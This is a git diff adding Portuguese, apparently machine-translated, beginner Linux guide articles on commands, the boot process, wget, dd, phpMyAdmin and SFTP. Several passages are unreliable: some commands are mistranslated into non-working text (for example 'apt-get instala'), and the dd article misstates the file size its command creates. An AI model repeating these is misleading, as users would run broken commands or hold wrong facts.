+5.  Comando `whoami` comando whoami imprime o nome do usuário atual. Você também pode usar o comando “who am i” para exibir o usuário atual. Se você está logado como root usando o comando sudo “whoami”, retorne root como usuário atual. Use o comando "who am i" se você quiser saber exatamente o usuário logado.
+    
+6.  Comando `ls` O comando ls exibe uma lista de arquivos em formato legível por humanos.
+    
+7.  Comando `crontab` Listar trabalhos de planejamento para o usuário atual com o comando crontab e a opção -l.
+    
+8.  `less` Comando Menos comando permite visualizar rapidamente o arquivo. Você pode paginar para cima e para baixo. Pressione 'q' para sair de menos janela.
+    
+9.  `more` Comando mais comando permite visualizar rapidamente o arquivo e mostra detalhes em porcentagem. Você pode paginar para cima e para baixo. Pressione 'q' para sair de mais janela.
+    
+10.  Comando `cp` Copie o arquivo da origem para o destino preservando o mesmo modo.
+    
+
+Aqui está a lista de comandos freqüentemente usados ​​pelo editor. Isto não é completo, mas é uma lista compacta de comandos para se referir quando necessário.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/advantages-of-linux/index.md b/client/src/guide/portuguese/linux/advantages-of-linux/index.md
new file mode 100644
index 0000000000..d310938444
--- /dev/null
+++ b/client/src/guide/portuguese/linux/advantages-of-linux/index.md
@@ -0,0 +1,51 @@
+---
+title: Advantages of Linux
+localeTitle: Vantagens do Linux
+---
+## Melhorias constantes e eficientes.
+
+As atualizações do Linux acontecem através da colaboração global de desenvolvedores. Os bugs são documentados e resolvidos muito mais rapidamente com esse tipo de suporte. Além disso, como os desenvolvedores também são os usuários finais, eles têm a motivação adequada para garantir que atenda às necessidades do usuário e que ele seja projetado para funcionar bem.
+
+## Menos risco.
+
+O software é tão bom quanto o suporte dado. Imagine isso: um software é criado pela empresa XYZ e, mais tarde, vai à falência ou é comprado por outra empresa que decide cortar seu apoio. O software nunca veria melhorias ou correções e, portanto, sua utilidade iria inevitavelmente corroer e morrer. O Linux pertence e é operado por nenhuma entidade ou empresa, portanto, essa situação não pode acontecer. Mais do que isso, qualquer um é livre para buscá-lo e contribuir também. O risco de perder suporte para o Linux é muito improvável devido à sua enorme popularidade e uso.
+
+## Leve.
+
+Os requisitos do Linux para rodar em um sistema são muito menores que os do Windows ou Mac. Com a distribuição certa do Linux, um usuário pode ter uma configuração modesta e o Linux fornecerá o valor do sistema. O espaço em disco e a pegada de memória também podem ser menores. Algumas distribuições são adequadas para CPUs que remontam à família Pentium, outras possuem um requisito de apenas 128 MB de RAM e aproximadamente a mesma quantidade de espaço em disco!
+
+## Muito documentado para iniciantes e usuários avançados.
+
+O Linux tem uma comunidade ativa de pessoas dispostas a compartilhar seus conhecimentos e ajuda (muito parecido com o FreeCodeCamp!). Existem utilitários de linha de comando embutidos no Linux que fornecem documentação sobre comandos, bibliotecas, padrões, etc. ( [Man pages](https://en.wikipedia.org/wiki/Man_page) e [Info pages](https://en.wikipedia.org/wiki/Info_(Unix) ), e há documentação disponível na Internet em vários formatos, incluindo [The Linux Documentation Project](http://www.tldp.org/) , [LinuxQuestions](http://www.linuxquestions.org/) , [ServerFault](http://serverfault.com/) e [The Arch Wiki](https://wiki.archlinux.org/) .
+
+Além da documentação, há muitas comunidades úteis e acolhedoras para os recém-chegados fazerem perguntas como [Ask](https://askubuntu.com/) [rss e linuxquestions do](https://www.reddit.com/r/linuxquestions/) [Ubuntu](https://askubuntu.com/) e do [Reddit](https://www.reddit.com/r/linuxquestions/) .
+
+Existem certificações individualizadas que podem ser tomadas e reconhecidas no setor de TI ( [testes](https://www.lpi.org) [Linux +](https://certification.comptia.org/certifications/linux) e [LPIC LPI da](https://www.lpi.org) [CompTIA](https://certification.comptia.org/certifications/linux) ). Embora não seja obrigatório, o aprendizado [C](https://en.wikipedia.org/wiki/C_(programming_language) ) permite que um usuário revise o código do Linux para ver o que está executando.
+
+## Suporte de negócios.
+
+O mundo depende do Linux suportar sistemas críticos para que a demanda não desapareça. Isso é importante não apenas para aqueles que ajudam a contribuir para o Linux, mas também para aqueles que o apóiam (Jobs!). O suporte ao Linux se torna mais crítico em TI, mas também ter esse conhecimento como desenvolvedor os tornará mais arredondados e úteis (ou seja, [desenvolvedores de pilha completa](https://medium.com/chris-messina/the-full-stack-employee-ed0db089f0a1#.ubttrv255) ).
+
+## Interoperabilidade com outros sistemas operacionais.
+
+O Linux possui suporte a drivers para sistemas de arquivos NTFS e HFS + (usados ​​pelo Windows e Macs) e também ao [Samba](https://www.samba.org/) para suporte a arquivos / serviços de impressão em máquinas Windows.
+
+## Melhor suporte de hardware.
+
+Para outros SOs, geralmente um usuário teria que ir ao site do fabricante para obter suporte de driver para diferentes tipos de hardware. O kernel do Linux suporta a maioria do hardware automaticamente via plug-and-play (em grande parte devido à comunidade de código aberto). Alguns fabricantes também desenvolvem versões Linux de seus drivers proprietários que podem ser facilmente instalados através do repositório de software de uma distribuição ou pela instalação manual dos binários fornecidos.
+
+## Disponibilidade de Software / Compatibilidade.
+
+O Linux possui um rico conjunto de aplicativos que estão disponíveis. Tem [aplicativos de escritório](https://www.libreoffice.org/discover/libreoffice/) , navegadores da Web ( [Google Chrome](https://www.google.com/chrome/browser/desktop/) e [Mozilla Firefox](https://www.mozilla.org/en-US/firefox/new/) ), [reprodutores de mídia](http://www.videolan.org/vlc/) , [processamento de](http://www.openshot.org/) [imagem](https://www.gimp.org/) / [vídeo](http://www.openshot.org/) etc. Para jogos de vídeo, o [Steam](http://store.steampowered.com/about/) é executado no Linux, que possui muitos jogos compatíveis. Aplicativos do Windows também podem rodar no Linux (veja o [Wine](https://www.winehq.org/) para detalhes).
+
+## Construído para desenvolvimento.
+
+Como o Linux foi feito originalmente para desenvolvedores por desenvolvedores, eles gastaram muito tempo e esforço aperfeiçoando as ferramentas que eles usariam. Ele tem um poderoso [shell](https://en.wikipedia.org/wiki/Unix_shell) que pode ser usado para uma variedade de tarefas de programação e administrativas ( [Bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell) ) é a opção mais popular e padrão para o Linux). Embora o Linux tenha um equivalente "notepad" no [gedit](https://en.wikipedia.org/wiki/Gedit) , ele também fornece editores baseados em texto mais poderosos e personalizáveis, como o [Vim](https://en.wikipedia.org/wiki/Vim_(text_editor)) ) e o [Emacs](https://en.wikipedia.org/wiki/Emacs) (recomenda-se que os usuários do Linux conheçam pelo menos um desses editores). Há também IDEs disponíveis para desenvolvimento da web, como [Atom](https://atom.io/) , [Aptana](http://www.aptana.com/) / [Eclipse](https://eclipse.org/) , [Sublime](https://www.sublimetext.com/) , [KomodoIDE](http://komodoide.com/) , para citar alguns. O Linux também pode utilizar software como o [Apache](https://httpd.apache.org/) para configurar um servidor web local para testes, o [Git](https://git-scm.com/) para controle de versão e outras ferramentas / linguagens como o [Node.js](https://nodejs.org/en/) / [Ruby](https://www.ruby-lang.org/en/) / [SaSS](http://sass-lang.com/) / [Heroku,](https://www.heroku.com/) todos suportando Linux e ferramentas de linha de comando que podem ser usado em vez de uma GUI.
+
+## Customizável.
+
+O Linux permite que o usuário altere o design e os temas da área de trabalho, adicione widgets e muito mais. Essas alterações podem ser feitas com ambientes de área de trabalho. Ambientes diferentes têm diferentes conjuntos de opções. Alguns populares são: KDE, GNOME, XFCE, Pantheon.
+
+## É grátis.
+
+Difícil de bater isso!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/basic-linux-commands/index.md b/client/src/guide/portuguese/linux/basic-linux-commands/index.md
new file mode 100644
index 0000000000..4e95fbca1e
--- /dev/null
+++ b/client/src/guide/portuguese/linux/basic-linux-commands/index.md
@@ -0,0 +1,51 @@
+---
+title: Basic Linux Commands
+localeTitle: Comandos Básicos do Linux
+---
+## Comandos Básicos do Linux
+
+Ao começar com o linux, existem alguns comandos básicos que todos devem conhecer.
+
+1.  **cd** - mudar de diretório
+
+*   cd seguido por um diretório ou caminho de arquivo levará você para dentro desse diretório (pasta).
+
+1.  **ls** - comando de lista
+
+*   Digite `ls` e o conteúdo do diretório atual será exibido.
+
+1.  **homem** - comando manual
+
+*   Mostra o manual do seguinte comando. Isso é muito útil ao tentar descobrir como funciona um comando desconhecido. Por exemplo, digite `man ls` para tudo que você precisa saber sobre o comando ls. Digite `q` para sair.
+
+1.  **pwd** - caminho
+
+*   Digite `pwd` para exibir o caminho para seu diretório atual.
+
+1.  **mkdir** - faça o diretório
+
+*   Este comando, seguido pelo nome que você deseja nomear seu diretório, cria um novo diretório. `mkdir folder1` fará um novo diretório chamado folder1.
+
+1.  **rmdir** - remove o diretório
+
+*   Remove o diretório que segue o comando. `rmdir folder1` excluirá o diretório chamado folder1, se existir.
+
+1.  **rm** - remover
+
+*   Este comando remove arquivos, não diretórios. `rm file.txt` removerá o arquivo chamado arquivo.txt enquanto existir e estiver no diretório atual.
+
+1.  **toque** - cria arquivo
+
+*   O comando touch é usado para criar um arquivo. Pode ser qualquer coisa, desde um arquivo txt vazio até um arquivo zip vazio. 'touch new.txt' criará um novo arquivo com o nome new.
+
+1.  **mv** - mover
+
+*   Use o comando mv para mover arquivos pela linha de comando. Nós também podemos usar o comando mv para renomear um arquivo. Por exemplo, se quisermos renomear o arquivo “text” para “new”, podemos usar 'mv text new'.
+
+1.  **clique com o botão direito** - copie e cole
+
+*   Este é menos um comando e mais um how-to, no entanto, é muito útil para fazer quase tudo em um terminal no linux. Para começar, destaque o texto como normal e, em seguida, clique com o botão direito do mouse para copiar uma seleção. Você deve ver a parte destacada se tornar não destacada, isso significa que você copiou a seleção. Agora, clique com o botão direito do mouse onde deseja colar a seleção e pronto.
+
+1.  **menos** - visualizar o conteúdo do arquivo
+
+*   Use `less filename.txt` para visualizar o conteúdo de um arquivo e navegar por eles. Por padrão, menos passará pela página do arquivo por página.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/common-terms-every-linux-user-should-know/index.md b/client/src/guide/portuguese/linux/common-terms-every-linux-user-should-know/index.md
new file mode 100644
index 0000000000..20b143cb13
--- /dev/null
+++ b/client/src/guide/portuguese/linux/common-terms-every-linux-user-should-know/index.md
@@ -0,0 +1,29 @@
+---
+title: common terms every Linux user should know.
+localeTitle: termos comuns que todo usuário de Linux deve saber.
+---
+# Termos comuns que todo usuário do Linux deve saber.
+
+*   **Distro:** é uma palavra abreviada para 'distribuição'; e uma distribuição é uma marca particular do sistema operacional GNU / Linux - como Redhat, Fedora, Ubuntu e Debian.
+    
+*   **Shell:** este é o programa que lê sua entrada de comando e executa os comandos especificados. O cifrão (\`$ ') que precede o cursor é chamado de prompt do shell; Ele informa que o sistema está pronto e aguardando entradas na forma de comandos.
+    
+*   **CLI:** significa _Command Line Interface_ . É a interface de usuário simples que fornece os serviços necessários ao usuário para interagir com o sistema operacional Linux usando comandos de texto. Ele protege o usuário de ter que saber detalhes de hardware intrincados.
+    
+*   **GUI:** significa interface gráfica do usuário. É a parte do sistema Linux que compreende janelas, ícones, imagens (gráficos em geral), que possibilitam apontar e clicar.
+    
+*   **Terminal:** é um aplicativo usado para acessar o shell do Linux.
+    
+*   **Kernel:** este é o núcleo do sistema Linux - o que você poderia chamar de “cérebro”. O kernel controla os recursos de um computador e determina como eles são usados, interagindo diretamente com o hardware do computador.
+    
+*   **Tux:** é o mascote oficial do Linux. Esse é o pinguim que normalmente é associado ao Linux - se você viu o pinguim amarelo e preto online, então você viu o tux.
+    
+*   **Raiz:** também conhecido como o super-usuário, é o nome de usuário "padrão" para o administrador de uma máquina linux. É usualmente representado no terminal linux com o símbolo **"#"** .
+    
+*   **Comandos:** são entradas de texto ou instruções dadas à máquina linux (digitando-as no terminal) para dizer o que fazer (isto é, para um resultado requerido).
+    
+*   **Repositório:** um repositório (ou “repositório” para abreviar) é uma coleção de pacotes de software para uma distro geralmente hospedada on-line. Os programas de software podem ser instalados a partir dos repositórios padrão fornecidos pela distribuição e pelos de terceiros quando são adicionados ao gerenciador de pacotes.
+    
+*   **Gerenciador de Pacotes:** é um programa de software que permite pesquisar, instalar, atualizar e remover aplicativos e outras funções de gerenciamento de aplicativos. Cada distro tem gráficos de gerenciadores de pacotes finais (como o Ubuntu Software Center) e ferramentas de gerenciamento de pacotes de linha de comando, como o "apt-get".
+    
+*   **Dependência:** uma dependência é um programa de software que o programa que você deseja instalar precisa ser executado. Quando um programa está sendo instalado, ele fornece uma lista de suas dependências ao gerenciador de pacotes padrão para verificar se elas já estão instaladas e baixá-las de um repositório, se não estiverem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/create-file-with-sepcific-size/index.md b/client/src/guide/portuguese/linux/create-file-with-sepcific-size/index.md
new file mode 100644
index 0000000000..ba563f9102
--- /dev/null
+++ b/client/src/guide/portuguese/linux/create-file-with-sepcific-size/index.md
@@ -0,0 +1,20 @@
+---
+title: Create a dummy file with a specific size
+localeTitle: Crie um arquivo fictício com um tamanho específico
+---
+## Como criar arquivos fictícios com um tamanho específico usando o comando "dd":
+
+O comando "dd" pode ser usado para criar um arquivo de tamanho específico. Isso é útil se você quiser testar as velocidades de download ou quaisquer outros testes e precisar de um arquivo de tamanho específico.
+```
+dd if=/dev/zero of=file_name.txt bs=1024k count=10 
+```
+
+Isto irá criar um arquivo de 1MB chamado file\_name.txt.
+
+bs é o tamanho do seu byte e count representa o número de blocos. Uma maneira fácil de ver é 1024K X 10.
+
+Aqui está uma maneira ainda mais simples de criar um arquivo de 1 MB:
+```
+dd if=/dev/zero of=file_name.txt bs=1MB count=1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/getting-started/index.md b/client/src/guide/portuguese/linux/getting-started/index.md
new file mode 100644
index 0000000000..e5bd149865
--- /dev/null
+++ b/client/src/guide/portuguese/linux/getting-started/index.md
@@ -0,0 +1,37 @@
+---
+title: Getting Started
+localeTitle: Começando
+---
+## Escolhendo uma distribuição.
+
+Existem vários tipos de distribuições Linux para escolher hoje em dia, escolher uma é uma grande preocupação no mundo atual do Linux. Levando em consideração os sistemas operacionais fáceis de usar, os melhores cães nessa categoria são: Ubuntu - Derivado do sistema Debian estável, o Ubuntu prospera em um ambiente fácil de usar e atualizado. Mint - Baseado no Ubuntu e Debian, este sistema operacional tem ótimos recursos como a compatibilidade com o PPA do Ubuntu, o gerenciador de pacotes apt. A base de distribuição de hortelã lembrar do Windows, isso pode ser uma boa característica para os usuários que vêm do Windows. Trisquel - Uma distribuição derivada do Ubuntu que se concentra em apenas utilizar software totalmente livre, evitando software proprietário. O Trisquel é endossado pela Free Software Foundation (FSF).
+
+## Instalando.
+
+A maioria das distribuições Linux são extremamente fáceis de instalar, todas as informações são mostradas entre cada etapa da instalação.
+
+Um passo importante a ter em atenção é quando decidir onde instalar a sua nova distribuição Linux. Para os primeiros usuários, é melhor escolher a opção "Guiada", pois ela fará todo o trabalho para você.
+
+Lembre-se de ler todos os passos com cuidado e deixar algum espaço no seu disco rígido para a nova distro, eu diria que cerca de 30Gb no mínimo é um bom ter.
+
+## O terminal temido.
+
+O terminal do Linux não é para ser temido, na verdade, é bastante fácil de usar com alguma prática e pode tornar a nossa tarefa diária muito automatizada.
+
+No Debian / Ubuntu e derivados, o atalho para abrir o cli (Comman Line Interface) é "Ctrl + Alt + T". Vamos abrir o terminal e tentar alguns comandos.
+
+cd (Change Directory) - O comando cd é um dos comandos que você mais usará na linha de comando do linux. Ele permite que você mude seu diretório de trabalho. Você o usa para se movimentar dentro da hierarquia do seu sistema de arquivos.
+
+```unix
+cd 
+```
+
+Usando apenas o comando cd, o diretório atual será alterado para o diretório inicial do usuário, localizado em "/ home / username", como em "/ home / mark".
+
+ls (List) - Este comando lista o conteúdo no diretório atual. Também pode ser usado para listar informações de arquivos.
+
+```unix
+ls 
+```
+
+Agora podemos ver nossos diretórios em nossa casa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/how-linux-system-boots-up-6-step-description/index.md b/client/src/guide/portuguese/linux/how-linux-system-boots-up-6-step-description/index.md
new file mode 100644
index 0000000000..8a26961312
--- /dev/null
+++ b/client/src/guide/portuguese/linux/how-linux-system-boots-up-6-step-description/index.md
@@ -0,0 +1,98 @@
+---
+title: Linux Booting Process
+localeTitle: Processo de Inicialização do Linux
+---
+# Processo de Inicialização do Linux - Processo Descritivo de 6 Passos
+
+O sistema operacional é definido como o software de baixo nível que suporta as funções básicas de um computador, como agendamento de tarefas e controle de periféricos. O SO mantém esses 6 estágios de alto nível de um processo típico de inicialização do Linux.
+
+![Passos](https://raw.githubusercontent.com/Ayushverma8/tech-interview-handbook/master/LinuxBootingProcess.jpg)
+
+### 1\. BIOS
+
+*   BIOS significa Basic Input / Output System
+*   Executa algumas verificações de integridade do sistema no HDD
+*   Procura, carrega e executa o programa de boot loader, principalmente no Master Boot Record (MBR)
+*   Ele procura por boot loader em disquete, cd-rom ou disco rígido. Podemos pressionar uma tecla (normalmente F12 de F2, mas depende do seu sistema) durante a inicialização do BIOS para alterar a seqüência de inicialização.
+*   Depois que o programa de boot loader é detectado e carregado na memória, o BIOS dá o controle a ele.
+*   Então, em termos simples, o BIOS carrega e executa o gerenciador de inicialização MBR
+
+### 2\. MBR
+
+*   MBR significa Master Boot Record.
+*   Está localizado no primeiro setor do disco inicializável. Normalmente, / dev / hda ou / dev / sda. Por que é sda e hda? consulte aqui para mais.
+*   O MBR tem menos de 512 bytes de tamanho. Isto tem três componentes: 1) informação primária do carregador de inicialização em 1 446 bytes. 2) informação da tabela de partição nos próximos 64 bytes. 3) verificação de validação de mbr nos últimos 2 bytes.
+*   Ele contém informações sobre o GRUB (ou LILO em sistemas antigos).
+*   Portanto, em termos simples, o MBR carrega e executa o carregador de inicialização GRUB.
+
+### 3\. GRUB
+
+*   Está localizado no primeiro setor do disco inicializável. Normalmente, / dev / hda ou / dev / sda. Por que é sda e hda? consulte aqui para mais.
+*   Se você tem múltiplas imagens de kernel instaladas em seu sistema, você pode escolher qual delas será executada, por padrão, somente a principal é inicializada.
+*   O GRUB exibe uma tela inicial, aguarda alguns segundos, se você não digitar nada, ele carrega a imagem padrão do kernel, conforme especificado no arquivo de configuração do grub.
+*   O GRUB tem o conhecimento do sistema de arquivos (o antigo gerenciador de Linux LILO não entendia o sistema de arquivos).
+*   O arquivo de configuração do Grub é /boot/grub/grub.conf (/etc/grub.conf é um link para isso). A seguir, o exemplo grub.conf do CentOS.
+```
+#boot=/dev/sda 
+ default=0 
+ timeout=5 
+ splashimage=(hd0,0)/boot/grub/splash.xpm.gz 
+ hiddenmenu 
+ title CentOS (2.6.18-194.el5PAE) 
+          root (hd0,0) 
+          kernel /boot/vmlinuz-2.6.18-194.el5PAE ro root=LABEL=/ 
+          initrd /boot/initrd-2.6.18-194.el5PAE.img 
+```
+
+### 4\. Kernel
+
+*   Monta o sistema de arquivos raiz conforme especificado em “root =” no grub.conf
+*   Kernel executa o programa / sbin / init
+*   É o primeiro programa a ser executado pelo Linux Kernel, ele tem o ID do processo (PID) de 1. Faça um 'ps -ef | grep init 'e verifique o pid. Você também pode usar o netstat
+*   initrd significa Disco RAM Inicial.
+*   O initrd é usado pelo kernel como sistema de arquivos raiz temporário até que o kernel seja inicializado e o sistema de arquivos raiz real seja montado. Ele também contém drivers necessários compilados dentro, o que ajuda a acessar as partições do disco rígido e outros hardwares.
+
+### 5\. Init
+
+*   Olha para o arquivo / etc / inittab para decidir o nível de execução do Linux.
+    
+*   A seguir estão os níveis de execução disponíveis
+    
+*   0 - parada
+    
+*   1 - modo de usuário único
+    
+*   2 - Multiuser, sem NFS
+    
+*   3 - Modo multiusuário completo
+    
+*   4 - sem uso
+    
+*   5 - X11
+    
+*   6 - reiniciar
+    
+*   Init identifica o initlevel padrão de / etc / inittab e usa isso para carregar todo o programa apropriado.
+    
+*   Execute o 'grep initdefault / etc / inittab' em seu sistema para identificar o nível de execução padrão
+    
+*   Se você quiser entrar em apuros, você pode definir o nível de execução padrão como 0 ou 6. Como você sabe o que significa 0 e 6, provavelmente você não pode fazer isso.
+    
+*   Normalmente, você definiria o nível de execução padrão como 3 ou 5.
+    
+
+### 6\. Programas de nível de execução
+
+*   Quando o sistema Linux está inicializando, você pode ver vários serviços sendo iniciados. Por exemplo, pode dizer “iniciando o sendmail…. ESTÁ BEM". Esses são os programas de nível de execução, executados a partir do diretório de nível de execução, conforme definido pelo nível de execução.
+*   Dependendo da sua configuração de nível de inicialização padrão, o sistema executará os programas a partir de um dos seguintes diretórios.
+*   Nível de execução 0 - /etc/rc.d/rc0.d/
+*   Nível de execução 1 - /etc/rc.d/rc1.d/
+*   Nível de execução 2 - /etc/rc.d/rc2.d/
+*   Nível de execução 3 - /etc/rc.d/rc3.d/
+*   Nível de execução 4 - /etc/rc.d/rc4.d/
+*   Nível de execução 5 - /etc/rc.d/rc5.d/
+*   Nível de execução 6 - /etc/rc.d/rc6.d/
+*   Sob os diretórios /etc/rc.d/rc\*.d/, você veria programas que começam com S e K.
+*   Programas iniciados com S são usados ​​durante a inicialização. S para inicialização.
+*   Programas começa com K são usados ​​durante o desligamento. K para matar.
+*   Existem números ao lado de S e K nos nomes dos programas. Esse é o número de sequência em que os programas devem ser iniciados ou mortos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/how-to-download-files-with-wget/index.md b/client/src/guide/portuguese/linux/how-to-download-files-with-wget/index.md
new file mode 100644
index 0000000000..350ae7997b
--- /dev/null
+++ b/client/src/guide/portuguese/linux/how-to-download-files-with-wget/index.md
@@ -0,0 +1,44 @@
+---
+title: How to download files using the "wget" utility in Linux
+localeTitle: Como baixar arquivos usando o utilitário "wget" no Linux
+---
+## Como baixar arquivos usando o utilitário "wget" no Linux
+
+Este artigo é um tutorial rápido sobre como usar o utilitário `wget` no SO baseado em Unix. O GNU Wget é um utilitário gratuito para download não interativo de arquivos da Web. Suporta protocolos HTTP, HTTPS e FTP, bem como recuperação através de proxies HTTP.
+
+### Instalando o `wget`
+
+O utilitário wget é um pacote disponível gratuitamente e licenciado sob a licença GNU GPL. Este utilitário pode ser instalado em qualquer sistema operacional semelhante ao Unix, incluindo Windows e MacOS.
+
+### Sintaxe básica
+
+A sintaxe básica do `wget` é…
+```
+wget [option]... [URL]... 
+```
+
+### Detalhes do wget
+```
+wget --version 
+```
+
+```
+wget --help 
+```
+
+### Baixando um único arquivo
+```
+wget http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+```
+
+### Download de FTP
+```
+wget ftp://ftp.gnu.org/gnu/wget/wget-1.10.1.tar.gz.sig 
+```
+
+### Restringir limites de velocidade de download
+```
+wget --limit-rate=100k http://ftp.gnu.org/gnu/wget/wget-1.5.3.tar.gz 
+```
+
+Você pode jogar com os recursos restantes do utilitário `wget`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md b/client/src/guide/portuguese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
new file mode 100644
index 0000000000..265f0f8f9b
--- /dev/null
+++ b/client/src/guide/portuguese/linux/how-to-extract-or-decompress-a-compressed-file-in-linux/index.md
@@ -0,0 +1,13 @@
+---
+title: How to extract or decompress a compressed file in Linux
+localeTitle: Como extrair ou descomprimir um arquivo compactado no Linux
+---
+Antes de extrair os dados de um arquivo compactado, você deve primeiro determinar o tipo de arquivo compactado.
+
+## Como extrair ou descomprimir um arquivo compactado no Linux
+
+Etapa 1: conhecer o tipo de arquivo `file File-Name`
+
+Etapa 2: para descompactar um arquivo tar `tar xvf File-Name -C /Directory-Location`
+
+`We Use (-C) for specific directory if we do not use (-C) then it automatically extract to current directory.`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md b/client/src/guide/portuguese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
new file mode 100644
index 0000000000..4c906013b0
--- /dev/null
+++ b/client/src/guide/portuguese/linux/how-to-install-phpmyadmin-on-linux-ubuntu/index.md
@@ -0,0 +1,58 @@
+---
+title: How to install phpmyadmin on Linux (Ubuntu).
+localeTitle: Como instalar o phpmyadmin no Linux (Ubuntu).
+---
+# Como instalar o phpmyadmin no Linux (Ubuntu)
+
+O servidor de [banco de](https://en.wikipedia.org/wiki/MySQL) dados [MySQL](https://en.wikipedia.org/wiki/MySQL) pode ser administrado usando a linha de comando, executando comandos no terminal. Mas é mais conveniente e menos tedioso usar uma interface gráfica de usuário (GUI) - mais especialmente para aqueles que não se sentem à vontade para inserir comandos em um terminal.
+
+[phpMyAdmin](https://en.wikipedia.org/wiki/PhpMyAdmin) é uma ferramenta GUI de software livre e de código aberto escrita em PHP, destinada a lidar com a administração do MySQL através da web. O phpMyAdmin suporta uma vasta gama de operações no MySQL e na sua versão suportada pela comunidade - o [MariaDB](https://en.wikipedia.org/wiki/MariaDB) .
+
+As operações de banco de dados usadas com frequência (gerenciamento de bancos de dados, tabelas, colunas, relações, índices, usuários, permissões, etc.) podem ser executadas por meio da GUI, enquanto você ainda pode executar diretamente qualquer instrução SQL. E também realizam exportação e importação de dados em formatos de arquivos populares (CSV, SQL, XML, PDF, Word, Excel, LaTeX e muitos outros). Você pode instalar o phpMyAdmin Linux, Windows e Mac OS (é multi-plataforma). Tornou-se uma das ferramentas de administração mais populares do MySQL.
+
+Nesta postagem, você verá como instalá-lo em um sistema operacional Linux. Mas antes de começarmos a garantir que você tenha o Apache, MySQL e PHP, instale em seu sistema. Se não aprender como fazer isso [aqui](https://fossnaija.com/install-lamp-server-linux-ubuntu/) .
+
+### Instalando o phpMyAdmin.
+
+*   Abra o terminal Linux e use o gerenciador de pacotes de software do Ubuntu `apt` to install,
+    
+    sudo apt-get instala o phpmyadmin
+    
+*   Então a instalação começa. Quando solicitado, selecione _“Apache2”_ na caixa de diálogo **“Configurando o phpMyAdmin”.** Quando solicitado pelo nome de usuário e senha do MySQL, digite “root” para o nome de usuário e escolha uma senha apropriada para a senha.
+    
+*   Após a conclusão da instalação, configure o phpMyAdmin para ser reconhecido pelo servidor web local. Abra o arquivo de configuração do apache no seu editor de texto favorito;
+    
+    ```
+    sudo gedit /etc/apache2/apache2.conf 
+    
+    ```
+    
+    e adicione a seguinte linha na parte inferior do arquivo (você pode adicioná-lo em qualquer lugar do arquivo, eu escolho o final aqui para que você possa acessá-lo facilmente para modificação, se necessário):
+    
+    `Include /etc/phpmyadmin/apache.conf`
+    
+*   Em seguida, reinicie o servidor da web;
+    
+    ```
+    sudo service apache2 restart 
+    
+    ```
+    
+*   Agora digite o seguinte url no seu navegador;
+    
+    `https://localhost/phpmyadmin`
+    
+    Você deve ver uma página de login para você digitar seu nome de usuário e senha, se você não tiver feito isso.
+    
+    **Nome de usuário** = _root_
+    
+    **Senha** = _SUA SENHA _MYSQL__
+    
+
+Se tiver sucesso, o painel do phpMyAdmin será exibido. Então você pode começar a usar o phpMyAdmin.
+
+### Mais Informações:
+
+*   Para uma etapa de instalação gráfica, verifique [aqui](https://fossnaija.com/install-phpmyadmin-linux-ubuntu/) .
+    
+*   [PhpMyAdmin Documentação de instalação](https://docs.phpmyadmin.net/en/latest/setup.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md b/client/src/guide/portuguese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
new file mode 100644
index 0000000000..675a2a233b
--- /dev/null
+++ b/client/src/guide/portuguese/linux/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server/index.md
@@ -0,0 +1,64 @@
+---
+title: How to Use SFTP to Securely Transfer Files with a Remote Server
+localeTitle: Como usar o SFTP para transferir arquivos com segurança com um servidor remoto
+---
+## Como usar o SFTP para transferir arquivos com segurança com um servidor remoto
+
+Este artigo é um tutorial rápido sobre como usar o protocolo SFTP para trocar arquivos com um servidor. Isso é útil para programação, pois permite que você codifique e teste localmente e depois envie seu trabalho para o servidor quando terminar.
+
+### Testando SSH
+
+Se ainda não o fez, teste que você é capaz de acessar o SSH no servidor. O SFTP usa o protocolo Secure Shell (SSH), portanto, se você não puder usar o SSH, provavelmente não será capaz de fazer SFTP.
+
+```unix
+ssh your_username@hostname_or_ip_address 
+```
+
+### Iniciar Sessão SFTP
+
+Isso usa a mesma sintaxe do SSH e abre uma sessão na qual você pode transferir arquivos.
+
+```unix
+sftp your_username@hostname_or_ip_address 
+```
+
+Para listar comandos úteis:
+
+```unix
+help 
+```
+
+### Transferir arquivos e pastas
+
+Para baixar um arquivo:
+
+```unix
+get <filename> 
+```
+
+Para baixar uma pasta e seu conteúdo, use o sinalizador "-r" (também funciona para upload):
+
+```unix
+get -r <foldername> 
+```
+
+Para fazer upload de um arquivo:
+
+```unix
+put <filename> 
+```
+
+### Alterar pastas
+
+Para alterar a pasta local:
+
+```unix
+lcd <path/to/folder> 
+```
+
+Para alterar a pasta remota:
+
+```unix
+cd <path/to/folder> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/index.md b/client/src/guide/portuguese/linux/index.md
new file mode 100644
index 0000000000..4fc246013f
--- /dev/null
+++ b/client/src/guide/portuguese/linux/index.md
@@ -0,0 +1,29 @@
+---
+title: Linux
+localeTitle: Linux
+---
+![](https://upload.wikimedia.org/wikipedia/commons/3/35/Tux.svg)
+
+Linux é um nome que denota amplamente uma família de distribuições de sistemas operacionais de software livre e de código aberto construídas em torno do Linux núcleo. O componente de definição de uma distribuição Linux é o kernel Linux, um kernel do sistema operacional lançado pela primeira vez em 17 de setembro. 1991 por Linus Torvalds. Muitas distribuições Linux usam a palavra "Linux" em seu nome. A Free Software Foundation usa o nome GNU / Linux para se referir à família de sistemas operacionais, bem como distribuições específicas, para enfatizar que a maioria das distribuições Linux não são apenas o kernel do Linux, e que eles têm em comum não apenas o kernel, mas também inúmeros utilitários e bibliotecas, uma grande proporção dos quais são do projeto GNU.
+
